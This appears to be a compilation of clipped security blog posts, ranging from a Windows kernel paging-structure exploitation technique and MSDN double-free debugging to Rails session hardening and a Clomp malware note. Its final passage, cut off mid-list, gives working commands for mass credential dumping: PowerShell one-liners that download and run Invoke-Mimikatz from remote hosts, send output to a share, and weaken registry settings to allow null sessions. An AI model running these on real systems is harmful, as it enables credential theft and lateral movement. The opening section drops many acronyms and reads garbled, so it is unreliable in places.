the page level, and works by setting flags on a page table entry, marking it
as either U \(user\) or S \(supervisor\). When accessing this page of memory,
the can check this flag to make sure the memory is suitable for use in the
current mode.

\(Data Execution Prevention\) operates much the same as it does in user-mode,
and is also implemented at the page level by setting flags on a page table
entry. The basic principle of is that no page of memory should be both
writeable and executable, which aims to prevent the executing instructions
provided as data from the user.

#### KASLR

KASLR \(Kernel Address Space Layout Randomization\) is a mitigation that aims
to prevent an attacker from successfully predicting the address of a given
piece of memory. This is significant, as many exploitation techniques rely on
an attacker being able to locate the addresses of important data such as
shellcode, function pointers, etc.

### Paging 101

With the use of virtual memory, the needs a way to translate virtual addresses
to physical addresses. There are several paging structures involved in this
process. Let’s first consider a toy example where we only have page tables in
order to perform the translation.

For each running process, the processor will use a different page table. Each
entry of this page table will contain the information “virtual page X
references physical frame Y”. Of course, these frames are unique, whereas
pages are relative to their page table. Thus we can have a process A with a
page table PA containing an entry “page 42 references frame 13” and a process
B with a page table PB containing an entry “page 42 references frame 37”.

If we consider a format for virtual addresses that consists of a page table
field followed by an offset referencing a byte within this page, the same
address 4210 would correspond to two different physical locations according to
which process is currently running \(and which page table is currently
active\). For a 64-bit x86\_64 processor, the virtual address translation is
roughly the same.

However, in practice the processor is not only using page tables, but uses
four different structures. In the previous example, we had physical frames
referenced by PTEs \(page table entries\) within PTs \(page tables\). In the
reality, the actual format for virtual addresses looks more like the
illustration below:

<img src='img/Temp2_9570.png' alt='picture1_offset' />

The cr3 register contains the physical address of the PML4. The PML4 field of
a virtual address is used to select an entry within this PML4. The selected
PML4 entry contains \(with a few additional flags\) the physical address of a
\(Page Directory Pointer Table\). The field of a virtual address therefore
references an entry within this . As expected this entry contains the physical
address of the PD. Again, this entry contains the physical address of a PD. We
can therefore use the PD field of the virtual address to reference an entry
within the PD and so on and so forth. This is well summarized by Intel’s
schema:

<img src='img/Temp2_9571.png' alt='intel' />

It should be now be clearer how the hardware actually translates virtual
addresses to physical addresses. An interested reader who is not familiar with
the inner working of x64 paging can refer to the section 4.5 of the volume 3A
of the Intel manuals for more in-depth explanations.

### Previous Exploitation Techniques

In the past, kernel exploits commonly redirected execution to memory allocated
in user-land. Due to the presence of , this is now no longer possible.
Therefore, an attacker would have to inject code into the kernel memory, or
convince the kernel to allocate memory with attacker-controlled content.

This was commonly achieved by allocating executable kernel objects containing
attacker controlled data. However, due to , most objects are now non
executable \(for example, the “NonPagedPoolNx” pool type has replaced
“NonPagedPool”\). An attacker would now have to find a way to use a kernel
payload which uses return-oriented programming \(\), which re-uses existing
executable kernel code.

In order to construct such a payload, an attacker would need to know the
location of certain “ROP gadgets”, which contain the instructions that will be
executed. However, due to the presence of KASLR, these gadgets will be at
different addresses on each run of the system, so locating these gadgets would
likely require additional vulnerabilities.

### Technique Overview

The presented technique consists of writing a function to deduce the address
of paging structures from a given user-land memory address. Once these
structures are located, we are able to partially corrupt them to change the
metadata, allowing us to “trick” the kernel into thinking a chunk that was
originally allocated in user-mode is suitable for use in kernel-mode. We can
also corrupt the flags checked by to make the contents of the memory
executable.

By doing this in a controlled manner, we can create a piece of memory that was
initially allocated as not executable by a user-mode process, and modify the
relevant paging structures so that it can be executed as kernel-mode code. We
will describe this technique in more detail below.

#### Retrieving the Addresses of Paging Structures

When the kernel wants to access paging structures, it has to find their
virtual addresses. The processor instructions only allow the manipulation of
virtual addresses, not physical ones. Therefore, the kernel needs a way to map
those paging structures into virtual memory. For that, several operating
systems use a special self-referencing PML4 entry.

Instead of referencing a , this PML4 entry will reference the PML4 itself, and
shift the other values to make space for the new self-reference field. Thus,
instead of referencing a specific byte of memory within a memory page, a will
be referenced instead. It is possible to retrieve more structures by using the
same self-reference entry several times.

A good description of this mechanism can also be found in the excellent book
What makes it page? The Windows 7 \(x64\) virtual memory manager by Enrico
Martignetti.

### A Step-By-Step Example

To better understand this process, let’s go through an example showing how to
build a function that maps a virtual address to the address of its . First, we
should remind ourselves of the usual format of a virtual address. A canonical
address has its 48 bits composed of four 9-bit fields and one 12-bit offset
field. The PML4 field references an entry within the PML4, the references an
entry within the , and so on and so forth.

If we want to reference a instead of a byte located within a page, we can use
the special PML4 entry 0y111101101. We fill the PML4 field with this special
entry and then shift everything 9-bits to the right so that we get an address
with the following format:

<img src='img/Temp2_9568.png' alt='picture2_pt' />

We use this technique to build a function which maps the address of a byte of
memory to the address of its . If you are following along in the code, this is
implemented in the function “getPTfromVA” in the file “computation.cpp”. It
should be noted that, even though the last offset field is 12 bits, we still
do a 9-bit shift and set the remaining bits to 0 so that we have an aligned
address.

To get the other structures, we can simply use the same technique several
times. Here is an example for the addresses:

<img src='img/Temp2_9569.png' alt='picture3_pd' />

### Modifying Paging Structures

We use the term as a generic term for paging structures, as many of them share
the same structure, which is as follows:

<img src='img/Temp2_9572.png' alt='picture4_pxe' />

There are a number of fields that are interesting here, especially the NX bit
field, which defines how the memory can be accessed, and the flags at the end,
which include the U/S flag. This U/S flag denotes whether the memory is for
use in user-mode or supervisor-mode \(kernel-mode\).

When checking the rights of a page, the kernel will check every involved in
the address translation. That means that if we want to check if the U/S flag
is set, we will check all entries relating to that page. If any of the entries
do not have the supervisor flag set, any attempt to use this page from kernel
mode will trigger a fault. If all of the entries have the supervisor flag set,
the page will be considered a kernel-mode page.

Because is set at the page granularity level, typically higher level paging
structures will be marked as executable, with being applied at the level by
setting the NX bit. Because of this, rather than starting by allocating kernel
memory, it is easier to allocate user memory with the executable rights using
the standard , and then corrupt the paging structures to modify the U/S flag
and cause it to be interpreted as kernel memory.

#### Using Isolated PXEs

If we corrupt a random , we are likely to be in a case where the target is
part of a series of PXEs that are contiguous in memory. In these cases, during
exploitation it might mean that an attacker would corrupt adjacent PXEs, which
has a high risk of causing a crash. Most of the time, the attacker can’t
simply modify only 1 bit in memory, but has to corrupt several bytes \(8 bytes
in our \), which will force the attacker to corrupt more than just the
relevant flags for the exploit.

The easiest way to circumvent this issue is simply to target a which is
isolated \(e.g., with unused structures on either side of the target \). In
64-bit environments, a process has access to a huge virtual address space of
256TB as we are effectively using a 48-bit canonical addresses instead of the
full 64-bit address space.

A 48-bit virtual address is composed of several fields allowing it to
reference different paging structures. As the PML4 field is 9 bits, it refers
to one of 512 \(2\*\*9\) PML4 entries. Each PML4 entry describes a range of
512GB \(2\*\*39\). Obviously, a user process will not use so much memory that
it will use all of the PML4 entries. Therefore, we can request the allocation
of memory at an address outside of any 512GB used range. This will force the
use of a new PML4 entry, which will reference structures containing only a
single entry, a single and a single .

An interested reader can verify this idea using the “\!address” and “\!pte”
windbg extensions to observe those “holes” in memory. In the presented , the
0×100804020001 address is used, as it is very likely to be in an unused area.

### Practical Attack

The code for the mitigation bypass is very simple. Suppose that we’ve got a
vulnerable kernel component for which we are able to exploit a vulnerability
which gives us a write-what-where primitive from a user-land process \(this is
implemented within the “write\_what\_where” function in our \). We choose a
virtual address with isolated paging structures \(such as 0×100804020001\),
allocate it and fill it with our shellcode. We then retrieve all of its paging
structures using the mapping function described earlier in this post \(using
the field shifting and the self- referencing PML4\). Finally, we perform
unaligned overwrites of the 4 PXEs relating to our chosen virtual address to
modify its U/S bit to supervisor.

Of course, other slightly different scenarios for exploitation could be
considered. For instance, if we can decrement or increment an arbitrary value
in memory, we could just flip the desired flags. Also, since we are using
isolated paging structures, even in the case of a bug leading to the
corruption of a lot of adjacent data, the technique can still be used because
it is unlikely that any important structures are located in the adjacent
memory.

With this blog post, we provide an exploit for a custom driver with a very
simple write-what-where vulnerability so as to let the reader experiment with
the technique. However, this document was originally submitted to Microsoft
with a real-world use-after-free vulnerability. Indeed, in a lot of cases, it
would be possible for an attacker to force a write-what-where primitive from a
vulnerability such as a use-after-free or a pool overflow.

### Mitigating the Attack

This technique is not affected by KASLR because it is possible to directly
derive the addresses of paging structures from a given virtual address. If
randomization was introduced into this mapping, this would no longer be
possible, and this technique would be mitigated as a result. Randomizing this
function would require having a different self-referencing PML4 entry each
time the kernel boots. However, it is recognised that many of the core
functions of the kernel memory management may rely on this mapping to locate
and update paging structures.

It might also be possible to move the paging structures into a separate
segment, and reference these structures using an offset in that segment. If we
consider the typical write-what-where scenarios, unless the address specified
already had a segment prefix, it would not be possible for an attacker to
overwrite the paging structures, even if the offset within the segment was
known.

If this is not possible, another approach might be to use a hardware debug
register as a faux locking mechanism. For example, if a hardware breakpoint
was set on the access to the paging structures \(or key fields of the
structures\), a handler for that breakpoint could test the value of the debug
register to assess whether this access is legitimate or not. For example,
before a legitimate modification to the paging structures, the kernel can
unset the debug register, and no exception would be thrown. If an attacker
attempted to modify the memory without unsetting the debug register, an
exception could be thrown to detect this.

### Vendor Response

We reported this issue to Microsoft as part of their Mitigation Bypass Bounty
Program. However, they indicated that this did not meet all of their program
guidelines as it cannot be used to remotely exploit user-mode vulnerabilities.
In addition, Microsoft stated that their security engineering team were aware
of this “limitation”, they did not consider this a security vulnerability, and
that the development of a fix was not currently planned.

With this in mind, we have decided to release this post and the accompanying
code to provide a public example of current Windows kernel research. However,
we have chosen not to release the fully weaponised exploit we developed as
part of the submission to Microsoft, as this makes use of a vulnerability that
has only recently been patched.

### Conclusion

The technique proposed in this post allows an attacker to reliably bypass both
and in a generic way. We showed that it is possible to derive the addresses of
paging structures from a virtual address, and how an attacker could use this
to corrupt paging structures so as to create executable kernel memory, even in
low memory addresses. We demonstrated that this technique is usable without
the fear of corrupting non targeted PXEs, even if the attacker had to corrupt
large quantities of memory. Furthermore, we showed that this technique is not
specific to bugs that provide a write-what-where primitive, but can also be
used for a broad range of bug classes.

# Risk Tracker - Customize Microsoft Information Security Team track —
PenTestIT

**Created:**| _10/23/2009 3:07:42 PM_  
---|---  
**Updated:**| _10/23/2009 3:08:04 PM_  
**Author:**| __  
**Tags:**| _windows security Microsoft risk-management_  
  

# Risk Tracker – Customize Microsoft Information Security Team track

by BLACK on OCTOBER 23, 2009

in MISCELLANEOUS, OPEN SOURCE, SECURITY RECONNAISSANCE, SECURITY TOOLS,SOURCE
CODE

Risk Tracker v1.0 \(CTP\) is a sample application built using CISF. This
custom application was created to help the Microsoft Information Security Team
track information security risk across the company. Eventually the solution
will move to use the Microsoft GRC as the core risk engine and integrate into
Systems Center. We are providing the source code and sharing the application
now so our customers can share from our learning’s and adopt and extend the
system for themselves. Risk Tracker serves as an example of how to build a
custom security application using the Connected Information Security
Framework.

Risk Tracker features -

• Integrate into Key Business Systems like HR and Portfolio / Asset Management
Systems.  
• Enter and Track Risks associated with business groups, geographies and
projects.  
• Enter and Track Tasks Associated with Remediating or Tracking Risks.  
• Perform Basic Risk Calculations.  
• Track The History of changes made by user/system to Risks.

Its not core security tool but implemet to impress your management and have
good insentive. As these tool is designed for internal organisation internal
auditors can use it to make improvements.

source code is also available for Risk Tracker

Download Risk Tracker Here

### Related Posts

  * September 30, 2009 -- Microsoft Security Essentials – Free anti malware for windows full version
  * June 24, 2009 -- Microsoft Security Essentials – Beta version
  * October 17, 2009 -- PC Watch Dog – PC users security / Critical machines
  * October 17, 2009 -- PC Tools Internet Security 2010 License Free 12 Months – Hurry \!\!\!
  * October 15, 2009 -- MIR-ROR – Motile Incident Response remotely
  * October 14, 2009 -- Microsoft realeases – Microsoft Security Bulletin Summary for October 2009
  * October 11, 2009 -- Zonealarm Pro Firewall 2010 – Free License Key Giveaway\!
  * October 7, 2009 -- Free Acronis True Image WD Edition Software – special promotion
  * October 1, 2009 -- Direct download links for Microsoft Security Essentials\!

  *[OCTOBER 23, 2009]: 2009-10-23

# Understanding Pool Corruption Part 3 – Special Pool for Double Frees -
Ntdebugging Blog - Site Home - MSDN Blogs

**Created:**| _1/16/2014 3:28:50 PM_  
---|---  
**Updated:**| _1/16/2014 3:28:50 PM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

# **U** nderstanding Pool Corruption Part 3 – Special Pool for Double
Frees****

ntdebug

31 Dec 2013 2:37 PM

In Part 1  and Part 2  of this series we discussed pool corruption and how
special pool can be used to identify the cause of such corruption**.** In
today’s article we will use special pool to catch a double free of pool
memory**.**

A double free of pool will cause a system to blue screen, however the
resulting crash may vary**.** In the most obvious scenario a driver that frees
a pool allocation twice will cause the system to immediately crash with a stop
code of C2 BAD\_POOL\_CALLER, and the first parameter will be 7 to indicate
“Attempt to free pool which was already freed”**.** If you experience such a
crash, enabling special pool should be high on your list of troubleshooting
steps**.**

BAD\_POOL\_CALLER \(c2\)

The current thread is making a bad pool request**.** Typically this is at a
bad IRQL level or double freeing the same allocation, etc**.**

Arguments:

Arg1: 0000000000000007, Attempt to free pool which was already freed

Arg2: 00000000000011c1, \(reserved\)

Arg3: 0000000004810007, Memory contents of the pool block

Arg4: fffffa8001b10800, Address of the block of pool being deallocated

A less obvious crash would be if the pool has been reallocated**.** As we
showed in Part 2, pool is structured so that multiple drivers share a
page**.** When DriverA calls ExFreePool to free its pool block the block is
made available for other drivers**.** If memory manager gives this memory to
DriverF, and then DriverA frees it a second time, a crash may occur in DriverF
when the pool allocation no longer contains the expected data**.** Such a
problem may be difficult for the developer of DriverF to identify without
special pool**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/3733.Pool_2D00_DoubleFree_5F00_7A133304.png'
/>

Special pool will place each driver’s allocation in a separate page of memory
\(as discussed in Part 2\)**.** When a driver frees a pool block in special
pool the whole page will be freed, and any access to a free page will cause an
immediate bugcheck**.** Additionally, special pool will place this page on the
tail of the list of pages to be used again**.** This increases the likelihood
that the page will still be free when it is freed a second time, decreasing
the likelihood of the DriverA/DriverF scenario shown above**.**

To demonstrate this failure we will once again use the Sysinternals tool
NotMyFault **.** Choose the “Double free” option and click “Crash”**.** Most
likely you will get the stop C2 bugcheck mentioned above**.** Enable special
pool and reboot to get a more informative error**.**

verifier /flags 1 /driver myfault.sys

Choosing the “Double free” option with special pool enabled resulted in the
following crash**.** The bugcheck code PAGE\_FAULT\_IN\_NONPAGED\_AREA means
some driver tried to access memory that was not valid**.** This invalid memory
was the freed special pool page**.**

PAGE\_FAULT\_IN\_NONPAGED\_AREA \(50\)

Invalid system memory was referenced**.** This cannot be protected by try-
except,

it must be protected by a Probe**.** Typically the address is just plain bad
or it

is pointing at freed memory**.**

Arguments:

Arg1: fffff9800a7fe7f0, memory referenced**.**

Arg2: 0000000000000000, value 0 = read operation, 1 = write operation**.**

Arg3: fffff80060263888, If non-zero, the instruction address which referenced
the bad memory address**.**

Arg4: 0000000000000002, \(reserved\)

Looking at the call stack we can see myfault.sys was freeing pool and
ExFreePoolSanityChecks took a page fault that lead to the crash**.**

kd> kn

\# Child-SP RetAddr Call Site

00 fffff880\`0419fe28 fffff800\`5fd7e28a nt**\!** DbgBreakPointWithStatus

01 fffff880\`0419fe30 fffff800\`5fd7d8de nt**\!** KiBugCheckDebugBreak+0x12

02 fffff880\`0419fe90 fffff800\`5fc5b544 nt**\!** KeBugCheck2+0x79f

03 fffff880\`041a05b0 fffff800\`5fd1c5bc nt**\!** KeBugCheckEx+0x104

04 fffff880\`041a05f0 fffff800\`5fc95acb nt**\!** **?****?**
::FNODOBFM::\`string'+0x33e2a

05 fffff880\`041a0690 fffff800\`5fc58eee nt**\!** MmAccessFault+0x55b

06 fffff880\`041a07d0 fffff800\`60263888 nt**\!** KiPageFault+0x16e

07 fffff880\`041a0960 fffff800\`6024258c nt**\!** ExFreePoolSanityChecks+0xe8

08 fffff880\`041a09a0 fffff880\`04c9b5d9 nt**\!**
VerifierExFreePoolWithTag+0x3c

09 fffff880\`041a09d0 fffff880\`04c9b727 myfault**\!**
MyfaultDeviceControl+0x2fd

0a fffff880\`041a0b20 fffff800\`60241a4a myfault**\!** MyfaultDispatch+0xb7

0b fffff880\`041a0b80 fffff800\`600306c7 nt**\!** IovCallDriver+0xba

0c fffff880\`041a0bd0 fffff800\`600458a6 nt**\!** IopXxxControlFile+0x7e5

0d fffff880\`041a0d60 fffff800\`5fc5a453 nt**\!** NtDeviceIoControlFile+0x56

0e fffff880\`041a0dd0 000007fd\`ea212c5a nt**\!** KiSystemServiceCopyEnd+0x13

Using the address from the bugcheck code, we can verify that the memory is in
fact not valid:

kd> dd fffff9800a7fe7f0

fffff980\`0a7fe7f0 **?****?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe800 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe810 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe820 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe830 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe840 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe850 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

fffff980\`0a7fe860 ?**?****?**??**?**?? ?**?****?**??**?**??
?**?****?**??**?**?? ?**?****?**??**?**??

kd> \!pte fffff9800a7fe7f0

VA fffff9800a7fe7f0

PXE at FFFFF6FB7DBEDF98 PPE at FFFFF6FB7DBF3000 PDE at FFFFF6FB7E600298 PTE at
FFFFF6FCC0053FF0

contains 0000000002A91863 contains 0000000002A10863 contains 0000000000000000

pfn 2a91 ---DA--KWEV pfn 2a10 ---DA--KWEV not valid

So far we have enough evidence to prove that myfault.sys was freeing invalid
memory, but how to we know this memory is being freed twice**?** If there was
a double free we need to determine if the first or second call to ExFreePool
was incorrect**.** To this so we need to determine what code freed the memory
first**.**

Driver Verifier special pool keeps track of the last 0x10000 calls to allocate
and free pool**.** You can dump this database with the **\!** verifier 80
command. To limit the data output you can also pass this command the address
of the memory you suspect was double freed**.**

Don’t assume the address in the bugcheck code is the address being freed, go
get the address from the function that called VerifierExFreePoolWithTag**.**

In the above call stack the call below VerifierExFreePoolWithTag is frame 9
\(start counting with 0, or use kn\)**.**

kd> .frame /r 9

09 fffff880\`041a09d0 fffff880\`04c9b727 myfault+0x15d9

rax=0000000000000000 rbx=fffff9800a7fe800 rcx=fffff9800a7fe800

rdx=fffffa8001a37fa0 rsi=fffffa80035975e0 rdi=fffffa8003597610

rip=fffff88004c9b5d9 rsp=fffff880041a09d0 rbp=fffffa80034568d0

r8=fffff9800a7fe801 r9=fffff9800a7fe7f0 r10=fffff9800a7fe800

r11=0000000000000000 r12=0000000000000000 r13=0000000000000000

r14=fffff800600306c7 r15=fffffa8004381b80

iopl=0 nv up ei ng nz na po nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286

myfault+0x15d9:

fffff880\`04c9b5d9 eb7a jmp myfault+0x1655 \(fffff880\`04c9b655\)

On x64 systems the first parameter is passed in rcx**.** The below assembly
shows that rcx originated from rbx**.**

kd> ub fffff880\`04c9b5d9

myfault+0x15ba:

fffff880\`04c9b5ba ff15a80a0000 call qword ptr \[myfault+0x2068
\(fffff880\`04c9c068\)\]

fffff880\`04c9b5c0 33d2 xor edx,edx

fffff880\`04c9b5c2 488bc8 mov rcx,rax

fffff880\`04c9b5c5 488bd8 mov rbx,rax

fffff880\`04c9b5c8 ff154a0a0000 call qword ptr \[myfault+0x2018
\(fffff880\`04c9c018\)\]

fffff880\`04c9b5ce 33d2 xor edx,edx

fffff880\`04c9b5d0 488bcb mov rcx,rbx

fffff880\`04c9b5d3 ff153f0a0000 call qword ptr \[myfault+0x2018
\(fffff880\`04c9c018\)\]

Run **\!** verifier 80 using the address from rbx:

kd> **\!** verifier 80 fffff9800a7fe800

Log of recent kernel pool Allocate and Free operations:

There are up to 0x10000 entries in the log**.**

Parsing 0x0000000000010000 log entries, searching for address
0xfffff9800a7fe800**.**

======================================================================

Pool block fffff9800a7fe800, Size 0000000000000800, Thread fffffa80046ce4c0

fffff80060251a32 nt**\!** VfFreePoolNotification+0x4a

fffff8005fe736c9 nt**\!** ExFreePool+0x595

fffff80060242597 nt**\!** VerifierExFreePoolWithTag+0x47

fffff88004c9b5ce myfault**\!** MyfaultDeviceControl+0x2f2

fffff88004c9b727 myfault**\!** MyfaultDispatch+0xb7

fffff80060241a4a nt**\!** IovCallDriver+0xba

fffff800600306c7 nt**\!** IopXxxControlFile+0x7e5

fffff800600458a6 nt**\!** NtDeviceIoControlFile+0x56

fffff8005fc5a453 nt**\!** KiSystemServiceCopyEnd+0x13

======================================================================

Pool block fffff9800a7fe800, Size 0000000000000800, Thread fffffa80046ce4c0

fffff80060242a5d nt**\!** VeAllocatePoolWithTagPriority+0x2d1

fffff8006024b20e nt**\!** XdvExAllocatePoolInternal+0x12

fffff80060242f69 nt**\!** VerifierExAllocatePool+0x61

fffff88004c9b5c0 myfault**\!** MyfaultDeviceControl+0x2e4

fffff88004c9b727 myfault**\!** MyfaultDispatch+0xb7

fffff80060241a4a nt**\!** IovCallDriver+0xba

fffff800600306c7 nt**\!** IopXxxControlFile+0x7e5

fffff800600458a6 nt**\!** NtDeviceIoControlFile+0x56

fffff8005fc5a453 nt**\!** KiSystemServiceCopyEnd+0x13

The above output shows the pool block being allocated by myfault.sys and then
freed by myfault.sys**.** If we combine this information with the call stack
leading up to our bugcheck we can conclude that the pool was freed once in
MyfaultDeviceControl at offset 0x2f2, then freed again in MyfaultDeviceControl
at offset 0x2fd**.**

Now we know which driver is causing the problem, and if this is our driver we
know which area of the code to investigate**.**

****

# No, Rails' CookieStore isn't broken – Coffeepowered

**Created:**| _10/15/2013 11:04:44 AM_  
---|---  
**Updated:**| _10/15/2013 11:04:44 AM_  
**Author:**| __  
**Tags:**| _web-app-sec ruby_  
  

# **N** o, Rails' CookieStore isn't broken****

A post recently hit the Full Disclosure seclist titled "Move away from
CookieStore if you care about your users and their security "**.** The post
discusses a property of session cookies - notably, that hitting "logout"
doesn't prevent a cookie from being reused to regain that session later, since
if someone manages to jack one of your users' cookies, they can just replay
that cookie again at any time and gain access to the users' account**.**

It's worth first noting that _this vulnerability requires your user's session
cookies to be compromised_ in the first place, so the whole vulnerability
hinges on with "if your user is already owned, then..**.** "

That said, yes, if you use sessions naively, then a compromised cookie may be
used to gain access to a user's account so long as the application's session
secret hasn't changed \(thereby invalidating the cookie signature\)**.** Note
that this is true for _all_ session stores, though in the case of serverside
sessions, this only holds until the session gets swept \(which may happen on
explicit logout, but does not necessarily happen at a defined time
otherwise\); presuming you have some kind of session TTL in play, an attacker
could keep their jacked session ID active indefinitely there, as well**.** A
hijacked session cookie is Bad News \(which is why you should be using HTTPS
and HTTPS-only cookies**\!**\) no matter how you slice it.

Fortunately, if you're worried about this class of attack, mitigating it is
Pretty Darn Simple**.**

If you just want parity with serverside session stores that just perform
expired session sweeps, then you can enforce a TTL on a session by just
providing a TTL value in the session, and validating that when the session is
read, then updating it when the session is written**.** You could do this
trivially with a Rack middleware, or if you just want it in your app:

[code]

    class ApplicationController
      before_filter :validate_session_timestamp
      after_filter  :persist_session_timestamp
    
      SESSION_TTL = 48.hours
      def validate_session_timestamp
        if user**?** && session.key?(:ttl) && session[:ttl] < SESSION_TTL.ago
          reset_session
          current_user = nil
          redirect_to login_path
        end
      end
    
      def persist_session_timestamp
        session[:ttl] = Time.now if user**?**
      end
    end
    
[/code]

That's it. Any session that hasn't been touched in 48 hours won't validate and
will get tossed out, same as serverside sessions \(and as a bonus, you don't
have to do any session sweeping yourself**\!** Hooray\!\) This does leave the
cookie vulerable to TTL refreshes, so perhaps you want something more
robust**.**

Something that neither CookieStore or server-side stores can do by default is
maintain a list of sessions associated with a given user, and provide the user
a means to revoke access granted to previously-granted sessions**.** Consider
the case where you walk away from a public computer having forgotten to hit
"log out" \- you have no means of invalidating that session from another
computer**.** This is a problem\!

Fortunately, it's trivial enough to just save a list of active sessions if
desired:

[code]

    class User
      # Presume an active_sessions field on the model that is large enough to hold some list of sessions:
      serialize :active_sessions, Array
    
      def activate_session(id)
        active_sessions.push id unless active_sessions.include**?** id
        save
      end
    
      def deactivate_session(id)
        active_sessions.delete id
        save
      end
    end
    
    class SessionsController
      def login
        # ..**.**
        current_user.activate_session session[:session_id]
      end
    
      def logout
        current_user.deactivate_session session[:session_id]
        reset_session
        # ..**.**
      end
    end
    
    class ApplicationController
      before_filter :validate_active_session
    
      def validate_active_session
        if user**?** && !current_user.active_sessions.include? session[:session_id]
          reset_session
          redirect_to login_path
        end
      end
    end
    
[/code]

You could get more complex with this and save things like the last IP and
geolocation that each session was active from, and present that to the user,
GMail-style**.** You could enforce a maximum number of sessions that can be
active at any given time**.** This makes it easy to let users log out other
sessions:

[code]

    class User
      def expire_sessions**!**(active)
        self.active_sessions = [active]
        save
      end
    end
    
    class UserController
      def logout_other_sessions
        current_user.expire_sessions**!** session[:session_id]
        # Redirect or whatever
      end
    end
    
[/code]

This technique is applicable to _all_ session stores, not just CookieStore
\(you won't be able to get a list of sessions for a given user ID by default
in ActiveRecordStore or whatever other serverside store you might want to
use\)**.** You can give your users proactive control over their account
security, and keep using CookieStore with all its benefits \(like being
invulnerable to session fixation**\!**\)

* * *
****

# Clomp - using & abusing PsExec | SophosLabs blog
**Created:**| _7/31/2009 7:31:46 PM_  
---|---  
**Updated:**| _7/31/2009 7:31:52 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## Clomp - using & abusing PsExec

We’ve been following the Clomp family of malware, also known as Clampi, for
some time now. It’s a strange beast, and its nasty polymorphic packed code
changes with each new release. It also has some slightly unusual features;
we’ve already talked about how Clomp injects code into Internet Explorer, and
how this helps our HIPS technology spot and stop the malware. Something else
that’s interesting is how it spreads across a network - rather than write the
code themselves, the authors had a little help from Microsoft in the form of
PsExec.

<img src='img/Temp2_1492.jpg' width='550' height='243' alt='PsExec' />

PsExec is part of a suite of tools from Sysinternals, which got bought by
Microsoft in 2006. It’s a light-weight program that allows you to connect to
remote machines and run software. Which coincidentally is exactly what Clomp
wants to do.

When Clomp runs \(often as a file called 2.exe\), it drops a copy of PsExec
\(usually as 1.exe\) and uses it to try to connect to other computers on the
network. If it manages to get access \(for example if the infected computer is
logged in as admin\), then it runs itself on that remote machine. Hey presto,
Clomp just used PsExec to spread like a worm\!

The good news is that we detect PsExec as a potentially unwanted application
\- clearly it’s a tool that some people are going to want to use on their
networks, but not everybody, and not everywhere. By stopping PsExec from
running carefree on the network, you effectively cut off Clomp’s ability to
spread, while giving an excellent early-warning signal against any new or
broken forms of the malware that still use the same technique.

Our detection of the PsExec and the Internet Explorer injection technique
shows how Clomp has squarely shot itself in the foot - its “clever features”
mean that it announces its presence to anybody who cares to listen.

# Carnal0wnage & Attack Research Blog: Dumping a domain's worth of passwords
with mimikatz

**Created:**| _10/4/2013 7:08:04 AM_  
---|---  
**Updated:**| _10/4/2013 7:08:04 AM_  
**Author:**| __  
**Tags:**| _Memory forensics powershell windows environment passwords memory-
manager_  
  

# Dumping a domain's worth of passwords with mimikatz****

clymb3r  recently posted a script called "Invoke-Mimikatz**.** ps1 " basically
what this does is reflectively injects mimikatz into memory, calls for all the
logonPasswords and exits**.** It even checks the targets architecture
\(x86/x64\) first and injects the correct DLL**.**  
  
You can very easily use this script directly from an admin command prompt as
so:

> powershell "IEX \(New-Object Net.WebClient\).DownloadString\('http://is**.**
> gd/oeoFuI'\); Invoke-Mimikatz -DumpCreds"
This runs the powershell script by directly pulling it from Github and
executing it "in memory" on your system**.**

One of the awesome added capabilities for this script is to run on a list of
hosts**.** as so:

> powershell "IEX \(New-Object Net.WebClient\).DownloadString\('http://is**.**
> gd/oeoFuI'\); Invoke-Mimikatz -DumpCreds -ComputerName @\('computer1',
> 'computer2'\)"
This works great as all the output is directly on your system and all executed
through Powershell Remoting **.** Powershell Remoting is also known as
WinRM**.** This service however is not enabled by default and can be pretty
hit or miss on how much any given enterprise uses WinRM**.** However, it is
usually the servers and more important systems that have it enabled more often
than not**.**  
  
If you find that your target isn't a WinRM rich environment or you just want
more passwords you can take a slightly more painful route, I call it "Mass
Mimikatz"  
**Step 1****.** Make a share, we are doing this so we can not only collect the
output of all our computers passwords, but to host the CMD batch file that
will run the powershell script:

> cd\  
>  mkdir open  
>  net share open=C:\open /grant:everyone,full  
>  icacls C:\open\ /grant Everyone:\(OI\)\(CI\)F /t
We are setting "Everyone" permissions on a Share \(net share\) and NTFS
\(icacls\) level for this to work properly**.**  
  
**Step 2**. Set registry keys**.** There are two registry keys that we need to
set. The first allows Null Sessions to our new share and the second allows
null users to have the "Everyone" token so that we don't have to get crazy
with our permissions**.** I have create a meterpreter script that has a bunch
of error checking here: massmimi\_reg**.** rb

or you can just make the following changes"

> HKLM\System\CurrentControlSet\services\LanmanServer\Parameters
> NullSessionShares REG\_MULTI\_SZ = open  
>  HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1
**Step 3****.** Change directory into new "open" directory. This is so our
uploads and in particular our web server will be hosted out of the correct
directory**.**  
  
**Step 4**. Upload powershell script powermeup.cmd  \- this script will run
our hosted Invoke-Mimikatz script on each host:

> powershell "IEX \(New-Object
> Net.WebClient\).DownloadString\('http://192**.** 168.1.127:8080/Invoke-
> Mimikatz.ps1'\); Invoke-Mimikatz -DumpCreds > \\\192**.**
> 168.1.127\open\%COMPUTERNAME%.txt 2>&1
**Step 5****.** Upload clymb3r 's Invoke-Mimikatz ps1 - Download from
PowerSploit  repo: source on github  
  
**Step 6****.** Upload mongoose: Downloads Page  \- Both regular and tiny
versions work**.** This is an awesome, single executable webserver that
supports LUA, Sqlite, and WebDAV out of the box**.** Tiny version is under
100k.  
  
**Step 7****.** Upload serverlist.txt - This is a line by line list of
